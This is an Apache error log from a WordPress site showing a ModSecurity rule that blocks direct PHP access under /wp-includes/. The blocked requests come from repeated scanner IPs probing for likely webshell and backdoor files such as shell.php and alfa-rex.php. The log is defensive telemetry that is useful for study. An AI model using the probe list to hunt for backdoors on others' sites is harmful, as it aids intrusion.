[Fri Apr 24 23:04:25.763302 2026] [:error] [pid 17720:tid 17772] [client 173.239.218.170:29041] [client 173.239.218.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aeuGeehlUs6BS3Ng7_Xl3AAAANI"]
[Fri Apr 24 23:04:26.140340 2026] [:error] [pid 14531:tid 14550] [client 173.239.218.167:32813] [client 173.239.218.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/include.php"] [unique_id "aeuGenfLU2gw-6KR-GbuIwAAAVE"]
[Fri Apr 24 23:04:30.096568 2026] [:error] [pid 14531:tid 14555] [client 98.159.37.121:20307] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aeuGfnfLU2gw-6KR-GbuKAAAAVY"]
[Fri Apr 24 23:04:32.967319 2026] [:error] [pid 17808:tid 17819] [client 98.159.37.137:59769] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aeuGgOarbOEFI8qshvJr9wAAAEk"]
[Fri Apr 24 23:04:34.329418 2026] [:error] [pid 17808:tid 17818] [client 173.239.218.169:44045] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about5.php"] [unique_id "aeuGguarbOEFI8qshvJr-gAAAEg"]
[Fri Apr 24 23:04:39.362406 2026] [:error] [pid 14531:tid 14535] [client 173.239.218.183:41655] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/db.php"] [unique_id "aeuGh3fLU2gw-6KR-GbuOgAAAUI"]
[Fri Apr 24 23:04:42.066722 2026] [:error] [pid 17719:tid 17744] [client 98.159.37.133:36049] [client 98.159.37.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aeuGisTZ9gzEyL1BkPrEUgAAAJE"]
[Fri Apr 24 23:04:45.987741 2026] [:error] [pid 4177:tid 4187] [client 98.159.37.122:21813] [client 98.159.37.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aeuGjX2asKnvdrSe0x5ZigAAAYI"]
[Fri Apr 24 23:04:46.382777 2026] [:error] [pid 4177:tid 4199] [client 98.159.37.117:53953] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aeuGjn2asKnvdrSe0x5ZjAAAAY4"]
[Fri Apr 24 23:04:46.772604 2026] [:error] [pid 17808:tid 17816] [client 98.159.37.121:54893] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aeuGjuarbOEFI8qshvJsAgAAAEY"]
[Fri Apr 24 23:04:49.710046 2026] [:error] [pid 4177:tid 4196] [client 173.239.218.169:59943] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aeuGkX2asKnvdrSe0x5ZmQAAAYs"]
[Fri Apr 24 23:04:52.508118 2026] [:error] [pid 4177:tid 4209] [client 98.159.37.125:63077] [client 98.159.37.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aeuGlH2asKnvdrSe0x5ZpgAAAZg"]
[Fri Apr 24 23:04:52.885289 2026] [:error] [pid 17720:tid 17767] [client 98.159.37.123:20597] [client 98.159.37.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aeuGlOhlUs6BS3Ng7_XmBgAAAM0"]
[Fri Apr 24 23:04:54.724980 2026] [:error] [pid 17719:tid 17732] [client 98.159.37.119:43333] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "aeuGlsTZ9gzEyL1BkPrEXAAAAIU"]
[Fri Apr 24 23:04:55.124389 2026] [:error] [pid 17720:tid 17772] [client 173.239.218.184:40013] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/simi.php"] [unique_id "aeuGl-hlUs6BS3Ng7_XmEgAAANI"]
[Fri Apr 24 23:04:57.981124 2026] [:error] [pid 17721:tid 17782] [client 173.239.218.161:25085] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aeuGmeFXXkLeyDnfk_9bPQAAAAE"]
[Fri Apr 24 23:04:59.252110 2026] [:error] [pid 17720:tid 17760] [client 173.239.218.181:45143] [client 173.239.218.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aeuGm-hlUs6BS3Ng7_XmGQAAAMY"]
[Fri Apr 24 23:04:59.658327 2026] [:error] [pid 17721:tid 17805] [client 173.239.218.158:59121] [client 173.239.218.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aeuGm-FXXkLeyDnfk_9bQgAAABg"]
[Fri Apr 24 23:05:00.014003 2026] [:error] [pid 17808:tid 17826] [client 173.239.218.181:58221] [client 173.239.218.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aeuGnOarbOEFI8qshvJsEAAAAFA"]
[Fri Apr 24 23:05:03.127867 2026] [:error] [pid 14531:tid 14547] [client 173.239.218.166:45619] [client 173.239.218.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aeuGn3fLU2gw-6KR-GbuRwAAAU4"]
[Fri Apr 24 23:05:06.599064 2026] [:error] [pid 17720:tid 17762] [client 98.159.37.123:59007] [client 98.159.37.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aeuGouhlUs6BS3Ng7_XmHwAAAMg"]
[Fri Apr 24 23:05:08.372420 2026] [:error] [pid 17808:tid 17817] [client 98.159.37.132:63803] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aeuGpOarbOEFI8qshvJsHgAAAEc"]
[Fri Apr 24 23:05:08.728905 2026] [proxy_fcgi:error] [pid 17720:tid 17773] [client 98.159.37.116:42085] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/rcacivils/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/rcacivils/public_html/wp-admin/includes/admin.php on line 16'
[Fri Apr 24 23:05:09.568935 2026] [:error] [pid 22114:tid 22124] [client 173.239.218.181:24923] [client 173.239.218.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aeuGpYAuWGz3WlMQjocDNQAAAQc"]
[Fri Apr 24 23:05:16.877301 2026] [:error] [pid 17808:tid 17815] [client 98.159.37.132:39403] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "aeuGrOarbOEFI8qshvJsJwAAAEU"]
[Fri Apr 24 23:05:17.244477 2026] [:error] [pid 14531:tid 14550] [client 216.24.210.195:26265] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aeuGrXfLU2gw-6KR-GbuTAAAAVE"]
[Fri Apr 24 23:05:20.574655 2026] [:error] [pid 14531:tid 14554] [client 173.239.218.182:49135] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aeuGsHfLU2gw-6KR-GbuTwAAAVU"]
[Fri Apr 24 23:05:26.259055 2026] [:error] [pid 17720:tid 17758] [client 173.239.218.177:24749] [client 173.239.218.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aeuGtuhlUs6BS3Ng7_XmMgAAAMQ"]
[Fri Apr 24 23:05:29.086292 2026] [:error] [pid 4177:tid 4204] [client 216.24.210.56:55247] [client 216.24.210.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aeuGuX2asKnvdrSe0x5ZzwAAAZM"]
[Fri Apr 24 23:05:31.507291 2026] [:error] [pid 4177:tid 4207] [client 98.159.37.125:55413] [client 98.159.37.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aeuGu32asKnvdrSe0x5Z2gAAAZY"]
[Fri Apr 24 23:05:34.323468 2026] [:error] [pid 14531:tid 14534] [client 98.159.37.129:41999] [client 98.159.37.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aeuGvnfLU2gw-6KR-GbuZAAAAUE"]
[Fri Apr 24 23:05:36.160460 2026] [:error] [pid 14531:tid 14547] [client 98.159.37.123:45239] [client 98.159.37.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aeuGwHfLU2gw-6KR-GbuZwAAAU4"]
[Fri Apr 24 23:05:41.084906 2026] [:error] [pid 17721:tid 17802] [client 98.159.37.121:34823] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aeuGxeFXXkLeyDnfk_9bsAAAABU"]
[Fri Apr 24 23:05:45.063860 2026] [:error] [pid 4177:tid 4197] [client 173.239.218.179:33425] [client 173.239.218.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aeuGyX2asKnvdrSe0x5Z4gAAAYw"]
[Fri Apr 24 23:05:45.390680 2026] [proxy_fcgi:error] [pid 17719:tid 17738] [client 173.239.218.183:49827] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 23:05:45.553511 2026] [:error] [pid 17719:tid 17746] [client 173.239.218.183:49827] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aeuGycTZ9gzEyL1BkPrEdAAAAJM"]
[Fri Apr 24 23:05:45.930802 2026] [:error] [pid 17808:tid 17816] [client 98.159.37.137:52421] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aeuGyearbOEFI8qshvJsQQAAAEY"]
[Fri Apr 24 23:05:48.813214 2026] [:error] [pid 17719:tid 17732] [client 173.239.218.176:38883] [client 173.239.218.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aeuGzMTZ9gzEyL1BkPrEewAAAIU"]
[Fri Apr 24 23:05:49.179896 2026] [:error] [pid 22114:tid 22129] [client 173.239.218.176:20079] [client 173.239.218.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aeuGzYAuWGz3WlMQjocDRAAAAQw"]
[Fri Apr 24 23:05:56.795033 2026] [:error] [pid 17808:tid 17820] [client 173.239.218.162:55607] [client 173.239.218.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-2019.php"] [unique_id "aeuG1OarbOEFI8qshvJsTQAAAEo"]
[Fri Apr 24 23:05:57.277664 2026] [:error] [pid 17719:tid 17748] [client 173.239.218.168:33435] [client 173.239.218.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aeuG1cTZ9gzEyL1BkPrEhwAAAJU"]
[Fri Apr 24 23:05:59.017901 2026] [:error] [pid 17721:tid 17788] [client 98.159.37.128:37707] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/log.php"] [unique_id "aeuG1-FXXkLeyDnfk_9b2wAAAAc"]
[Fri Apr 24 23:06:00.424201 2026] [:error] [pid 17719:tid 17740] [client 173.239.218.182:31921] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aeuG2MTZ9gzEyL1BkPrEjQAAAI0"]
[Fri Apr 24 23:06:01.017980 2026] [:error] [pid 17808:tid 17813] [client 173.239.218.174:24161] [client 173.239.218.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aeuG2earbOEFI8qshvJsTwAAAEM"]
[Fri Apr 24 23:06:01.380538 2026] [:error] [pid 4177:tid 4185] [client 98.159.37.132:43331] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/aw.php"] [unique_id "aeuG2X2asKnvdrSe0x5Z-gAAAYA"]
[Fri Apr 24 23:06:06.558656 2026] [:error] [pid 17719:tid 17729] [client 98.159.37.137:41073] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/db.php"] [unique_id "aeuG3sTZ9gzEyL1BkPrEmAAAAII"]
[Fri Apr 24 23:06:07.027741 2026] [:error] [pid 17719:tid 17750] [client 173.239.218.160:53077] [client 173.239.218.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/install.php"] [unique_id "aeuG38TZ9gzEyL1BkPrEmQAAAJc"]
[Fri Apr 24 23:06:09.836914 2026] [:error] [pid 4177:tid 4205] [client 173.239.218.176:45113] [client 173.239.218.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aeuG4X2asKnvdrSe0x5aAwAAAZQ"]
[Fri Apr 24 23:06:10.206948 2026] [:error] [pid 17720:tid 17763] [client 98.159.37.118:39777] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aeuG4uhlUs6BS3Ng7_XmWwAAAMk"]
[Fri Apr 24 23:06:13.171284 2026] [:error] [pid 17719:tid 17745] [client 98.159.37.131:20997] [client 98.159.37.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/template-less.php"] [unique_id "aeuG5cTZ9gzEyL1BkPrEpAAAAJI"]
[Fri Apr 24 23:06:13.528505 2026] [:error] [pid 17808:tid 17819] [client 173.239.218.179:59607] [client 173.239.218.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aeuG5earbOEFI8qshvJsYgAAAEk"]
[Fri Apr 24 23:06:22.052308 2026] [:error] [pid 14531:tid 14539] [client 98.159.37.118:46809] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/min.php"] [unique_id "aeuG7nfLU2gw-6KR-GbujwAAAUY"]
